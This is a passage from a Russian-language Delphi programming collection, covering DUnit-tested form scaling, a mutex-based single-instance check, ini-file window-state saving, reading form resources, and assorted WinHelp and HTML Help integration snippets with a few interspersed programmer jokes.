ChangeConstraints(Control, testNewPPI, testOldPPI);
OK1 := (Control.Constraints.MaxHeight = Size2) and
(Control.Constraints.MinHeight = 0) and
(Control.Constraints.MaxWidth = Size2) and
(Control.Constraints.MinWidth = Size2);
ChangeConstraints(Control, testOldPPI, testNewPPI);
OK2 := (Control.Constraints.MaxHeight = Size1) and
(Control.Constraints.MinHeight = 0) and
(Control.Constraints.MaxWidth = Size1) and
(Control.Constraints.MinWidth = Size1);
finally
testForm.Close;
Result := OK1 and OK2;
end;
end;
|
Тестовая функция, например, для Label1, будет выглядеть так:
procedure TTestUnitAppl.TestScaleLabel; begin Check(TestScaleControl(testForm.Label1 as TControl), 'failed test '); end; |
Если все тесты проходят успешно, то с определенной долей вероятности можно утверждать, что мы теперь знаем, как настроить форму так, что бы она автоматически масштабировались, по крайней мере в пределах, которые обеспечивает Delphi. Так же сможем масштабировать Constraints отдельно взятого контрола окна, при необходимости. Думаю, сфера использования ChangeConstraints довольно ограниченна, но в большинстве случаев результаты, полученные с помощью таких простых средств - вполне удовлетворительные. Можно было бы разработать функцию, которая бы сама изменяла Constraints у всех элементов формы. Желающие могут попробовать свои силы самостоятельно, не забудьте только прислать пример с тестом, и он будет включен в проект. По моему скромному мнению, решить эту проблему кардинально и качественно, можно лишь на уровне изменения исходного кода VCL. Хотя, "неумение" Constraints корректировать свои значения во время масштабирование окна и не является "официальным" багом но, очень хочется надеяться, что авторы Delphi 7 позаботятся об этом. Конечно, всегда можно создать собственный вариант формы, в котором проблема будет решена, но для данного проекта это будет расцениваться как выход за рамки требований (см. пункт.1). Впрочем, повторюсь, если у кого-то есть возможность исправить - пишите. И так, мы провели некоторые технологические тесты, и убедились в работоспособности функций и процедур основной программы. Пришло время заняться функциональными тестами, то есть тестами, в которых проводится общая проверка на соответствие наших решений требованиям. Наиболее наблюдательные читатели должны были заметить, что к самой программе мы еще и не прикасались, но уже имеем для неё несколько работоспособных функций :). Проводить функциональное тестирование можно по-разному, и в принципе, лучше всего на рабочем приложении. У нас, его пока нет, кроме того, оценить правильность масштабирования можно на любом примере, ведь от нас не требуется реакция (нажатие кнопки, движение мыши и т.д.). Нам нужно просто посмотреть. Так что, воспользуемся testForm и разместим на ней 3 компонента TLabel. В свойство Caption каждой занесем такой текст "0123456789". У Label2 установим Constraints равными Width, у Label3 минимальное и максимальное значения отличающееся не менее чем на 50%, у Label4 минимальное и максимальное значения отличающееся на 5%.
procedure TTestUnitAppl.TestFuncScale;
begin
if IsChangePPI then
begin
testForm := TtestForm.Create(Application);
try
testForm.ShowModal;
finally
testForm.Close;
end;
end;
Check(True, 'very strange ');
end;
|
Declaimer aka Отмазка.
Я надеюсь, что люди, привыкшие читать академические труды, или слушать классические оперы, не станут осуждать автора, за его простую и незатейливую песнь кочевника. Что делал - о том и пел. Исходную партитуру и ноты можно взять здесь. Любые претензии и предложения принимаются в обсуждение и/или мылом. Предложения будут рассмотрены, претензии - проигнорированы. С особым вниманием будут рассмотрены уточнения списка требований и новые тесты. Все копирайты, если они известны, указаны. Иначе, автор не известен или копирайт утерян.Проект создан в Delphi6 MiniProg.zip (44.3K).
Hello, MiniProg 2.
Автор: Иванов Петр ака Brodia@a Специально для Королевства Delphi
Прошло некоторое время, клавиатура остыла после тестирования и писательства, можно продолжать. Попробуем сделать так, что бы программа следила за тем, что бы она была запущена в единственном экземпляре. Пока мы не углубились в обсуждение деталей реализации, хотелось бы объяснить, для чего такое "суровое" требование единственности и неповторимости. Дело в том, что если пользователям удобнее использовать одновременно несколько копий одной и той же программы, то это верный признак того, что изначально был спроектирован неверный интерфейс, скорее всего больше подошел бы MDI. Это первое, второе - считается, что чаще всего запуск второй копии происходит по ошибке, когда приложение свернуто и его просто не видно.
Данная тема уже не раз поднималась на просторах Королевства, например, здесь или здесь. Огромное множество материала, на данную тематику, чьей то щедрой рукой, разбросано по интернету. Правда, все методы однотипные и сводятся к тому, что программа, при запуске, проверяет какой-нибудь признак, если он не обнаружен - то запускается, если же присутствует... В этом месте возможны самые различные реакции, от сообщений, с требованием ответа/нажатия кнопки, до коварнейших систем оповещения создателей (например, как у M$ XP :). Признаком может служить, либо проверка наличия определенного окна, либо отметка в конфигурационном файле/регистре, либо банальный файл, создаваемый при запуске приложения и удаляемый при выходе из него. Более сложные системы, профессионального уровня, обращаются за советом, "можно, или нельзя", к специализированным лицензионным серверам. Мы пойдем другим путем, наверное, самым простым, будем проверять наличие определенного мьютекса, реакция же будет вежливая - просто активизация окна. Данный метод не нов. Определенно, он работоспособен, но не мешало бы создать тест, который бы нас убедил, что это так. И это еще одна рекомендация XtremeProgramming - не лениться и стараться тестировать как можно больше. Вообще, если бы программисты знали, как много ошибок может быть, в казалось бы, в надежном и простом коде: Откроем testMiniProg.dpr и в файле testAppl.pas создадим следующую процедуру:
Const
StrFailedTest = 'failure test';
...
procedure TTestUnitAppl.TestFindPrevInstance;
var
Test1, Test2: boolean;
Temp: THandle;
begin
Temp := Mutex;
Test1 := not FindPrevInstance('Test');
Test2 := FindPrevInstance('Test');
StopPrevInstance;
Check(Test1 and Test2, strFailedTest);
Mutex := Temp;
end;
|
Сами функции располагаются в Appl.pas и выглядят так:
Var
Mutex: THandle = 0;
...
function FindPrevInstance(Name: string): boolean;
var
Temp: THandle;
begin
Temp := CreateMutex(nil, False, PChar(Name));
Result := (GetLastError = ERROR_ALREADY_EXISTS);
if Result then
CloseHandle(Temp)
else
Mutex := Temp;
end;
procedure StopPrevInstance;
begin
if Mutex > 0 then
CloseHandle(Mutex);
end;
|
Теперь посмотрим, как можно будет показать найденную первую копию. Вариантов 'поискать и показать форму', в интернете, огромная масса. Тестовая процедура и сама функция выглядят так:
Unit testAppl;
...
procedure TTestUnitAppl.TestShowPrevInstance;
begin
Check(ShowPrevInstance('DUnit'), strFailedTest);
end;
unit Appl;
...
function ShowPrevInstance(Name: string): boolean;
var
PrevInstance: HWND;
begin
Result := False;
PrevInstance := FindWindow('TApplication', PChar(Name));
if PrevInstance <> 0 then
begin
if IsIconic(PrevInstance) then
ShowWindow(PrevInstance, SW_RESTORE);
SetForegroundWindow(PrevInstance);
Result := True;
end;
end;
|
Компилируем, запускаем, проверяем - все работает, как требуется. Следует отметить, что в данном случае, тестировалось только возвращаемое ShowPrevInstance значение, сам эффект 'показа' незаметен. По этому, что бы ни уподобляться тому сапожнику, который без сапог, внесем в testMiniProg.dpr изменения, добавим в секцию uses модуль Appl и следующий код:
program testMiniProg;
uses
Appl in '..\SOURCE\Appl.pas',
Forms, TestFrameWork, GUITestRunner,
testAppl in 'testAppl.pas',
testUnit in 'testUnit.pas' {testForm};
{$R *.res}
begin
if FindAndShowPrevInstance('DUnit') then
Halt
else
try
Application.Initialize;
Application.Title := 'DUnit';
GUITestRunner.RunRegisteredTests;
finally
StopPrevInstance;
end;
end.
|
В модуль Appl.pas, поместим функцию FindAndShowPrevInstance, которая будет искать и активизировать предыдущую копию программы. Её тестирование проведем на функциональном уровне, так как технологическое тестирование, хоть и возможно, но реализовывать его будет обременительно. Впрочем, желающие могут попробовать, не забудьте только мне показать, очень интересно.
function FindAndShowPrevInstance(Name: string): boolean;
begin
Result := FindPrevInstance(Name);
if Result then
ShowPrevInstance(Name);
end;
|
Как видите, с помощью довольно бесхитростных средств нам удалось избежать атаки клонов собственных программ. Посмотрим, что можно сделать дальше.
Способность сохранять в конфигурационном файле какие-нибудь значения, например, положение и размеры окна, так же была освещена в интернет очень широко. В RxLib, есть неплохой компонент, умеющий многое, я сам пользовался им когда-то. По этому не будем изобретать ничего нового, но просто воспользуемся уже известными приемами. Почему именно ini-файл, а не регистр, или не способ хранение свойств компонентов, так как это делает Delphi? Свои плюсы и минусы есть у всех подходов, но для наших целей вполне хватит возможностей ini-файла. Будем считать, что ini-файл располагается в директории вместе с программой и имеет такое же имя, но другое расширение, например "ini" :). Традиционно, свойства окна хранят в отдельной секции ini-файла, с уникальным, для данного приложения именем. Используем для этого имя формы. И так, тесты:
procedure TTestUnitAppl.TestGetIniFileName;
begin
Check(ExtractFileName(GetIniFileName) = 'testMiniProg' + cfgFileExt,
strFailedTest);
end;
procedure TTestUnitAppl.TestGetSectionName;
begin
Check(GetSectionName(Screen.Forms[0]) = 'GUITestRunner', strFailedTest);
end;
|
Сами же функции очень просты. В принципе, GetSectionName можно было бы расширить, включив возможность генерации имени секции для любого компонента, с учетом формы-владельца, но пока не будем этого делать:
Const cfgFileExt = '.ini'; ... function GetIniFileName: string; begin Result := ChangeFileExt(Application.ExeName, cfgFileExt); end; function GetSectionName(Component: TComponent): string; begin Result := Component.Name; end; |
Вооружившись этими знаниями можно придти к выводу, что придется вносить изменения в функцию RtmPPI и DsgnPPI, и вычислять их результат иначе, чем было сделано ранее. Идея проста, использовать для масштабирования высоту текста, времени создания формы и времени выполнения приложения. Судя по всему - это более корректный способ, однако, в названиях переменных и процедур сохранена аббревиатура PPI. Остается вопрос, где, во время исполнения, взять высоту текста времени создания, ведь при создании окна все размеры изменяются. В принципе, все интересующие нас числа хранятся в ресурсах программы и можно попробовать прочитать их оттуда. Но, все попытки обратиться к ресурсам формы в программе, использую стандартные и рекомендованные для этого средства, ни к чему не привели. Точнее, нужные ресурсы программы успешно читаются, но уже в измененном виде, так уж устроен метод TCustomForm.ReadState :(. По этому, попытаемся прочитать данные из ресурса, так же, как это делает Delphi, но в сильно упрощенном варианте. Если вы загляните в исходный код VCL и просмотрите всё, что хоть как-то касается загрузки ресурсов программы, то поймете, зачем эти упрощения. Сведений, в литературе и интернете, связанных с вопросами чтения ресурсов во время исполнения программы, без создания самих компонентов, очень мало. К моему сожалению, практически, я ничего не нашел, и если кто-то знает, где есть подобного рода информация - поделитесь ссылкой. Текст функции, которая читает ресурсы определенной формы, выглядит так:
unit Appl;
...
function ReadFormRes(ResName: string; List: TStringList): boolean;
var
Prop, Value: string;
Stream: TResourceStream;
Reader: TReader;
HRsrc: THandle;
begin
List.Clear;
HRsrc := FindResource(HInstance, PChar(ResName), RT_RCDATA);
Result := HRsrc <> 0;
if not Result then Exit;
Stream := TResourceStream.Create(HInstance, ResName, RT_RCDATA);
Reader := TReader.Create(Stream, 4096);
try
Reader.ReadSignature;
Reader.ReadStr;
Reader.ReadStr;
while not Reader.EndOfList do
begin
Prop := Reader.ReadStr;
Value := strNil;
case Reader.NextValue of
vaInt8, vaInt16, vaInt32:
Value := IntToStr(Reader.ReadInteger);
vaString:
Value := Reader.ReadString;
else
Reader.SkipValue;
end;
if Value <> strNil then
List.Add(Format('%s = %s',[Prop,Value]));
end;
Reader.CheckValue(vaNull);
finally
Reader.Free;
Stream.Free;
end;
end;
|
Как я уже говорил, здесь представлен упрощенный вариант, который ищет определенный ресурс в программе, и сообщает в результате найден он или нет, а так же заполняет List набором строк найденных свойств и их значений. В список записываются не все свойства, а только те, которые определены в ресурсе и имеют тип, либо целого числа, либо строки, и принадлежат самой форме. При желании, можно организовать рекурсивный обход всех компонентов окна и чтение их свойств. Полный тест для данной функции не приводится, по той простой причине, что он довольно велик и явно выходит за рамки данной статьи. Может быть в другой статье :). Скажу лишь что, при построении такого рода функции, вряд ли стоит эмулировать полностью весь процесс загрузки ресурсов программы. В нашем случае, необходимо прочитать лишь некоторые свойства окна, что мы и сделаем. Конечно, можно поступить и так; создать пустую форму, у которой будет известна высота текста времени создания, но во время выполнения программы нам будет известно её масштабированное значение, что, собственно говоря, и нужно. Но, лично мне такой путь не нравиться, как по стилю решения проблемы, так и по тому, что при таком подходе возможна проблема с Constraints. Тестирующая функция довольно проста, хотя, конечно же, при тестировании полного варианта она выглядит иначе:
Procedure TtestUnitAppl.TestReadFormRes;
var
List: TStringList;
Test: boolean;
begin
List := TStringList.Create;
try
ReadFormRes('TGUITestRunner', List);
Test := List.Values['Caption'] = 'DUnit: An Xtreme testing framework';
finally
List.Free;
Check(Test, strFailedTest);
end;
end;
|
Изменим функцию RtmPPI таким образом, что бы она вычисляла, во время выполнения программы, высоту текста, для определенного нами окна. Соответственно DsgnPPI, изменится так, что вычисление её результата будет происходить с использованием ReadFormRes. Дополнительно, что бы избежать ошибок при определении RtmPPI, в ситуации, когда окно еще не создано, нам понадобится функция, которая по имени окна будет искать его в списке созданных форм и возвращать указатель на найденную форму, иначе nil.
Unit testAppl;
...
procedure TTestUnitAppl.TestFindForm;
var
Test1, Test2, Test3: boolean;
begin
Test1 := FindForm('testForm') = nil;
testForm := TtestForm.Create(Application);
try
Test2 := FindForm('testForm') <> nil;
finally
testForm.Free;
Test3 := FindForm('testForm') = nil;
end;
Check(Test1 and Test2 and Test3, strFailedTest);
end;
unit Appl;
...
function FindForm(FormName: string): TCustomForm;
var
I: integer;
begin
Result := nil;
for I := 0 to Screen.FormCount - 1 do
if Screen.Forms[I].Name = FormName then
begin
Result := Screen.Forms[I];
Break;
end;
end;
|
В принципе, если бы создатели VCL, придерживались простого правила, присвоения nil указателю, который ссылается на еще не созданный или уже удаленный объект, многое было бы проще, и методологически вернее. И я не вижу ни каких логических объяснений, почему до сих пор это не сделано.
unit Appl;
...
const
strDelphiMagicText = '0';
strResTextHeight = 'TextHeight';
...
function RtmPPI(FormName: string): integer;
var
Form: TCustomForm;
begin
Result := 0;
Form := FindForm(FormName);
if Form <> nil then
Result := Form.Canvas.TextHeight(strDelphiMagicText);
end;
function DsgnPPI(FormName: string): integer;
var
List: TStringList;
Form: TCustomForm;
begin
List := TStringList.Create;
try
Form := FindForm(FormName);
if Form <> nil then
begin
ReadFormRes(Form.ClassName, List);
Result := StrToInt(List.Values[strResTextHeight]);
end;
finally
List.Free;
end;
end;
|
Эти функции проверяют наличие определенного окна . Если значение не равно nil, то считается, что форма уже создана, и у неё можно определить PPI's. Если форма еще не создана, то возвращается 0. В случае успешного выполнения функции, результатом будет значение высоты текста, отличное от 0. Так как сами функции несколько усложнились, то необходимо расширить их тестирование. Изменится так же, процедура TestDsgnVsRtmPPI, но функциональность её сохраниться, и даже несколько расшириться. Функция IsChangePPI удалена, из-за её несоответствия текущему моменту.
const
testPPI = 16;
...
procedure TTestUnitAppl.TestRtmPPI;
var
Test: boolean;
begin
testForm := TtestForm.Create(Application);
try
Test := RtmPPI('testForm') = testForm.Canvas.TextHeight(strDelphiMagicText);
finally
testForm.Free;
Check(Test, strFailedTest);
end;
end;
procedure TTestUnitAppl.TestDsgnPPI;
var
OldPPI, PPI: integer;
begin
testForm := TtestForm.Create(Application);
try
OldPPI := DsgnPPI('testForm');
finally
testForm.Free;
Check(OldPPI = testPPI, Format('DsgnPPI=%d, not %d', [OldPPI, testPPI]));
end;
end;
procedure TTestUnitAppl.TestDsgnVsRtmPPI;
var
Test: boolean;
Text: string;
OldPPI, NewPPI: integer;
begin
Test := False;
Text := strFailedTest;
testForm := TtestForm.Create(Application);
try
OldPPI := RtmPPI('testForm');
NewPPI := DsgnPPI('testForm');
if (OldPPI > 0) and (NewPPI > 0) then
begin
Test := OldPPI = NewPPI;
if not Test then
Text := Format('DsgnPPI=%d not equal RtmPPI=%d DPI', [OldPPI, NewPPI]);
end;
finally
testForm.Free;
Check(Test, Text);
end;
end;
|
Вроде бы все подготовительные действия выполнены, можно попытаться сохранить/восстановить состояние формы. Текст тестовой функции TestSaveLoadFormState можно посмотреть в testAppl.pas. Логика проверки следующая, создается окно, с некоторой задержкой демонстрируется, запоминается состояние окна в локальной переменной и сохраняется в ini-файле. Устанавливаются другие значения состояния окна, перемещается, сворачивается в левый нижний угол, выжидается некоторое время. Восстанавливается состояние окна, сохраненное в ini-файле. Дополнительно, проводится проверка значений состояния окна, до и после сохранения/восстановления. Если же вас не убедят результаты тестов, то всегда можно будет заглянуть в файл ini и посмотреть всё своими глазами. Сами процедуры сохранения/восстановления, и все процедуры к которым они обращаются, приведены поименно ниже:
... procedure WriteIniShowCmd; procedure ReadIniShowCmd; procedure WriteIniFlags; procedure ReadIniFlags; procedure WriteIniWidth; procedure ReadIniWidth; procedure WriteIniHeight; procedure ReadIniHeight; procedure WriteIniLeft; procedure ReadIniLeft; procedure WriteIniTop; procedure ReadIniTop; procedure ScaleFormConstraints; procedure SaveFormState; procedure LoadFormState; ... |
Declaimer aka Отмазка.
Я надеюсь, что люди, привыкшие читать академические труды, или слушать классические оперы, не станут осуждать автора, за его простую и незатейливую песнь кочевника. Что делал - о том и пел. Исходную партитуру и ноты можно взять здесь: MiniProg2.zip (43K). Любые претензии и предложения принимаются в обсуждение и/или мылом. Предложения будут рассмотрены, претензии - проигнорированы. С особым вниманием будут рассмотрены уточнения списка требований и новые тесты.Все копирайты, если они известны, указаны. Иначе, автор не известен или копирайт утерян.
Доступ к справочной информации.
Для того чтобы во время работы программы пользователь, нажав клавишу , мог получить справочную информацию, надо чтобы свойство HelpFile главного окна приложения содержало имя файла справочной системы, а свойство HelpContext числовой идентификатор нужного раздела. Вспомните, идентификаторы разделов справочной системы перечислены в разделе [MAP] файла проекта справочной системы. Файл справочной системы приложения лучше поместить в ту папку, в которой находится файл исполняемой программы. Для каждого компонента формы, например поля ввода, можно задать свой раздел справки. Раздел справки, который появляется, если фокус находится на компоненте, и пользователь нажимает клавишу , определяется значением свойства Heipcontext этого компонента. Если значение свойства HelpContext элемента управления равно нулю, то при нажатии клавиши появляется тот раздел справки, который задан для формы приложения. Если в диалоговом окне есть кнопка Справка, то справочная информация выводится по-другому — для кнопки создается процедура обработки события onclick, которая обращением к функции winheip запускает программу Windows Help (файл Winhlp32.exe). При вызове функции winheip в качестве параметров указываются: идентификатор окна, которое запрашивает справочную информацию; имя файла справочной системы; константа, определяющая действие, которое должна выполнить программа Windows Help и уточняющий параметр. Примечание Идентификатор окна — это свойство Handle формы приложения. Свойство Handle доступно только во время работы программы, поэтому в списке свойств в окне Object Inspector его нет. Если необходимо вывести конкретный раздел справки, то в качестве параметра, определяющего действие, используется константа HELP_CONTEXT. Уточняющий параметр в этом случае задает раздел справки, который будет выведен на экран.Ниже, в качестве примера, приведена процедура обработки события Onclick для кнопки Справка (Button4) диалогового окна программы решения квадратного уравнения.
// щелчок на кнопке Справка procedure TForm1.Button4Click(Sender: TObject); begin winhelp(Form1.Handle, 'sqroot.hip', HELP_CONTEXT, 1); end;HTML Help Workshop Современные программы выводят справочную информацию в Internet-стиле — окно, которое используется для вывода справки, напоминает окно Internet Explorer. И это не удивительно, так как для вывода справочной информации используются компоненты, составляющие основу Microsoft Internet Explorer. Система отображения справочной информации является частью операционной системы, поэтому никакие дополнительные средства для вывода справочной информации не нужны. Физически справочная информация находится в файлах с расширением chm. СНМ-файл — это так называемый компилированный HTML-документ. СНМ-файл получается путем компиляции (объединения) файлов, составляющих HTML-документ, который, как правило, состоит из нескольких HTML-файлов. Процесс преобразования HTML-документа в справочную систему называют компиляцией. Исходной информацией для компилятора справочной системы являются HTML-файлы, файлы иллюстраций и файл проекта. В результате компиляции получается СНМ-файл, содержащий всю справочную информацию. Наиболее просто создать справочную систему можно при помощи программы Microsoft HTML Help Workshop.
Чтобы создать справочную систему, нужно:
подготовить файлы справочной информации; создать файл проекта; создать файл контекста (содержания); выполнить компиляцию.Последние три из перечисленных выше шагов выполняются в программе HTML Help Workshop.
Обработать нажатие на кнопку Help в диалоговом окне.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
type
TForm1 = class(TForm)
private
procedure wmNCLButtonDown(var Msg: TWMNCLButtonDown); message WM_NCLBUTTONDOWN;
procedure wmNCLButtonUp(var Msg: TWMNCLButtonUp); message WM_NCLBUTTONUP;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.wmNCLButtonDown(var Msg: TWMNCLButtonDown);
begin
if Msg.HitTest = HTHELP then
begin
Msg.Result := 0; // swallow mouse down on biHelp border icon
end
else
inherited;
end;
procedure TForm1.wmNCLButtonUp(var Msg: TWMNCLButtonUp);
begin
if Msg.HitTest = HTHELP then
begin
Msg.Result := 0;
ShowMessage('Hi!'); // Show your help here
end
else
inherited;
end;
Файл документа справочной информации.
Файл документа справочной системы представляет собой RTF-файл определенной структуры. Создать RTF-файл справочной информации можно, например, при помощи Microsoft Word. Сначала нужно набрать текст разделов справки, оформив заголовки разделов одним из стилей Заголовок, например Заголовок1. При этом текст каждого раздела должен находиться на отдельной странице документа (заканчиваться символом "разрыв страницы"). После того, как текст разделов будет набран, нужно, используя сноски (табл. 14.1), пометить заголовки разделов справочной информации (сноски используются компилятором справочной системы в процессе преобразования RTF-файла в HLP-файл, файл справки). Сноски, используемые для разметки RTF-файла: # Задает идентификатор раздела справки, который может использоваться в других разделах для перехода к помеченному этой сноской разделу $ Задает имя раздела, которое будет использоваться для идентификации раздела справки в списке поиска и в списке просмотренных тем во время использования справочной системы к Задает список ключевых слов, при выборе которых из списка диалога поиска осуществляется переход к разделу справки, заголовок которой помечен этой сноской Для того чтобы пометить заголовок раздела сноской, нужно установить курсор перед первой буквой заголовка раздела и из меню Вставка выбрать команду Сноска. В открывшемся диалоговом окне Сноски в группе Вставить сноску нужно установить переключатель в положение обычную, а в группе Нумерация — в положение другая. В поле ввода номера сноски следует ввести символ "#" и нажать кнопку ОК. В результате в документ будет вставлена сноска #, и в нижней части окна документа появится окно ввода текста сноски, в котором рядом со значком сноски следует ввести идентификатор помечаемого раздела справки. В качестве идентификатора можно использовать аббревиатуру заголовка раздела справки или сквозной номер раздела, поставив перед ним, например, буквы Ti (Topic Identifier). Однако лучше, чтобы идентификатор раздела справки начинался с префикса IDH_. В этом случае во время компиляции RTF-файла будет проверена корректность ссылок: компилятор выведет список идентификаторов, которые перечислены в разделе [MAP] файла проекта (см. ниже), но которых нет в RTF-файле. Как правило, разделы справки содержат ссылки на другие разделы. В окне справочной системы понятия (слова), выбор которых вызывает переход к другому разделу справки, выделяются отличным от основного текста справки цветом и подчеркиваются. Во время подготовки текста справочной информации, слово-ссылку, выбор которого должен обеспечить переход к другому разделу справки, следует подчеркнуть двойной линией и сразу за этим словом, без пробела, поместить идентификатор раздела справки, к которому должен быть выполнен переход. Вставленный идентификатор необходимо оформить как скрытый текст.Помимо ссылки, обеспечивающей переход к другому разделу справки, в документ можно вставить ссылку на комментарий — текст, появляющийся в всплывающем окне. Во время работы справочной системы ссылки на комментарии выделяются цветом и подчеркиваются пунктирной линией. При подготовке документа справочной системы комментарии, как и разделы справки, располагают на отдельной странице, однако текст комментария не должен иметь заголовка. Сноска # должна быть поставлена перед текстом комментария. Ссылка на комментарий оформляется следующим образом: сначала надо подчеркнуть одинарной линией слово, выбор которого должен вызвать появление комментария, затем сразу после этого слова вставить идентификатор комментария, оформив его как скрытый текст.
Оглавление файлов помощи (Help Files Contents).
| Keyboard not found. Press F1 to continue... |
Попробуйте следующий код:
Function L1InvokeHelpMacro(const i_strMacro: String; const i_bForceFile:
Boolean): Boolean;
Begin
if i_bForceFile then
Application.HelpCommand(HELP_FORCEFILE, 0);
Result:=Application.HelpCommand(HELP_COMMAND,
Longint(PChar(i_strMacro))); //Приведение типа PChar здесь необязательно.
End;
|
Ищем ассоциированный файл помощи, открываем его (если не открыт) и переходим на закладку 'Index':
L1InvokeHelpMacro('Search()', True);
|
Ищем ассоциированный файл помощи, открываем его (если не открыт) и переходим на закладку 'Contents':
L1InvokeHelpMacro('Contents()', True);
|
Ищем ассоциированный файл помощи, открываем его (если не открыт) и переходим на закладку 'Find' (только для WinHelp 4):
L1InvokeHelpMacro('Find()', True);
|
Как привязать файлы помощи в Delphi.
| Почему компьютер лучше, ЧЕМ МУЖЧИНА: Пока компьютер не сломался, он готов функционировать сколь угодно долго и сколь угодно часто, но, несмотря на готовность, он никогда не пристает с предложениями "давай займемся совместной деятельностью", если у тебя нет для этого настроения. Компьютер не возражает, если ты предлагаешь ему воспользоваться дискетой с защитой от записи, и не говорит, что защита от записи снижает чувствительность его головки. Чтобы не опасаться нежелательных для тебя физиологических последствий регулярных контактов с компьютером, достаточно соблюдать медицинские требования к длительности этих контактов, то есть не проявлять склонности к излишествам. Характеристики, от которых зависит производительность компьютера, известны еще до того, как ты начнешь им пользоваться, к тому же его производительность не меняется с возрастом. Если компьютер подцепил программу с неизвестным вирусом, вследствие чего стала происходить утечка ресурсов налево, ты можешь просто переформатировать диск, не тратя время и нервы на замену компьютера другим, более полно тебя удовлетворяющим, экземпляром. У компьютера не портится характер, если ты на несколько дней оставишь его без питания. Компьютер быстро выполнит любое твое задание - если не с умом, то хотя бы с энтузиазмом; он не скажет "файлы из мусорной корзины я уберу завтра". Если ты вместе с компьютером заработаешь деньги, он не будет утверждать, что всю самую важную работу выполнял он, и что на этом основании деньги должны пойти ему на покупку нового монитора - такого, какими сейчас обзаводятся самые крутые компьютеры. Когда компьютер не нужен, его можно выключить, а при желании - даже положить в коробку и убрать на антресоли, чтобы не мозолил глаза. |
procedure TForm1.btnHelpClick(Sender: TObject); begin Application.HelpContext(TButton(Sender).HelpContext); end; |
Вы также можете вызывать другие методы Application для вывода файлов помощи, такие, как Application.HelpCommand и Application.HelpJump.
Показ диалога Help Search.

| Windows 95 - 95% ошибок. Windows 98 - 98% ошибок. Windows Millenium - неисправимая ошибка тысячелетия. |
Application.HelpCommand(HELP_PARTIALKEY, 0); |
Если данная команда не находит идентификатор #0 файла помощи (естественно, мы его и задаем), то она выводит диалог "Help Search".
Показ диалога Help Search 2.
Следующий код демонстрирует способ вывода диалога WinHelp "Search" для электронной справки вашего приложения. Для этого следует послать системе электронной справки Windows (WinHelp) команду Help_PartialKey, что можно сделать с помощью метода объекта TApplication HelpCommand. Параметр для этой команды должен иметь тип PChar (можно привести к longint) и содержать строку, которую вам необходимо найти. Пример ниже использует для вызова диалога "Search" пустую строку, которую освобождает после его закрытия.
procedure TForm1.SearchHelp;
var
P: PChar;
begin
Application.HelpFile := 'c:\delphi\bin\delphi.hlp';
P := StrNew('');
Application.HelpCommand(Help_PartialKey, longint(P));
StrDispose(P);
end;
|
Показ диалога Help Search 3.
procedure TForm1.HelpSearchFor; var S : String; begin S := ''; Application.HelpFile := 'C:\MYAPPPATH\MYHELP.HLP'; Application.HelpCommand(HELP_PARTIALKEY, LongInt(@S)); end; |
Как вызвать подсказку к подсказке.
В Delphi-приложении можно вызвать помощь в пользовании системой помощи следующим образом:
Application.HelpCommand(Help_HelpOnHelp, 0); |
Как использовать файлы справки.
Автор: http://www.swissdelphicenter.ch
{ First we need to tell the Application object the name
of the Help file and where to locate it. }
Application.HelpFile := ExtractFilePath(Application.ExeName) +
'YourHelpFile.hlp';
{ To Show a help file's content tab: }
Application.HelpCommand(HELP_CONTENTS, 0);
{ To display a specific topic of your help file: }
Application.HelpJump('TApplication_HelpJump');
Чтобы в приложении вызывался Help с окошечком для поиска раздела.
procedure TForm1.HelpSearchFor; var S: string; begin S := ''; Application.HelpFile := 'C:\MYAPPPATH\MYHELP.HLP'; Application.HelpCommand(HELP_PARTIALKEY, LongInt(@S)); end; |
Создание файла справки из html-страниц.
После того как созданы HTML-файлы справочной информации, в которые помещены все необходимые для навигации по справочной системе гиперссылки, можно приступить к непосредственному созданию справочной системы. После запуска HTML Help Workshop надо из меню File выбрать команду New/Project и в окне New Project — Destination ввести имя файла проекта справочной системы. После щелчка на кнопке Далее в этом и следующем окне, окно HTML Help Workshop Первое, что надо сделать, — сформировать раздел [FILES], который должен включать имена HTML-файлов, содержащих справочную информацию по разделам. Чтобы добавить в раздел [FILES] имя файла, надо щелкнуть на кнопке Add/Remove topic files, затем, в появившемся диалоговом окне Topic Files — на кнопке Add и в появившемся стандартном диалоговом окне Открыть выбрать HTML-файл раздела справки. Если справочная информация распределена по нескольким файлам, то операцию добавления нужно повторить несколько раз. После того как в диалоговом окне Topic Files будут перечислены все необходимые для создания справочной информации HTML-файлы, нужно щелкнуть на кнопке ОК. В результате этих действий в файле проекта появится раздел [FILES], в котором будут перечислены HTML-файлы, используемые для создания справочной системы . Следующее, что надо сделать, — задать главный (стартовый) раздел и заголовок окна, в котором будет выводиться справочная информация. Текст заголовка и имя файла главного раздела вводятся соответственно в поля Title и Default file вкладки General диалогового окна Options, которое появляется в результате щелчка на кнопке Change project options. Если для навигации по справочной системе предполагается использовать вкладку Содержание, то надо создать файл контекста. Чтобы это сделать, нужно щелкнуть на вкладке Contents, подтвердить создание нового файла контекста и задать имя файла контекста, в качестве которого можно использовать имя проекта. В результате станет доступной вкладка Contents, в которую нужно ввести содержание — названия разделов справочной системы. Содержание справочной системы принято изображать в виде иерархического списка. Элементы верхнего уровня соответствуют разделам, а подчиненные им элементы — подразделам и темам. Чтобы во вкладку Contents добавить элемент, соответствующий разделу справочной системы, нужно щелкнуть на кнопке Insert a heading, в поле Entry title появившегося диалогового окна Table of Contents Entry ввести название раздела и щелкнуть на кнопке Add. На экране появится окно Path or URL. В поле HTML titles этого окна будут перечислены названия разделов (заголовки HTML-файлов) справочной информации, которая находится во включенных в проект файлах (имена этих файлов указаны в разделе [FILES] вкладки Project). Если вместо названия раздела справочной информации будет указано имя файла, то это значит, что в этом файле нет тега TITLE. Выбрав (по заголовку или по имени) нужный файл нужно щелкнуть на кнопке ОК. В результате перечисленных выше действий во вкладке Contents появится строка с названием раздела справочной информации. Если нужно изменить значок, соответствующий добавленному разделу, то следует щелкнуть на кнопке Edit selection и, используя список Image index вкладки Advanced окна Table of Contents, выбрать нужный значок (обычно рядом с названием раздела или подраздела изображена книжка). Подраздел добавляется точно так же, как и раздел, но после того как подраздел будет добавлен, нужно щелкнуть на кнопке Move selection right. В результате чего уровень заголовка понизится, т. е. раздел станет подразделом. Элементы содержания, соответствующие темам справочной информации, добавляются аналогичным образом, но процесс начинается щелчком на кнопке Insert a page.Иногда возникает необходимость изменить порядок следования элементов списка содержания или уровень иерархии элемента списка. Сделать это можно при помощи командных кнопок, на которых изображены стрелки. Кнопки Move selection up и Move selection down перемещают выделенный элемент списка, соответственно, вверх 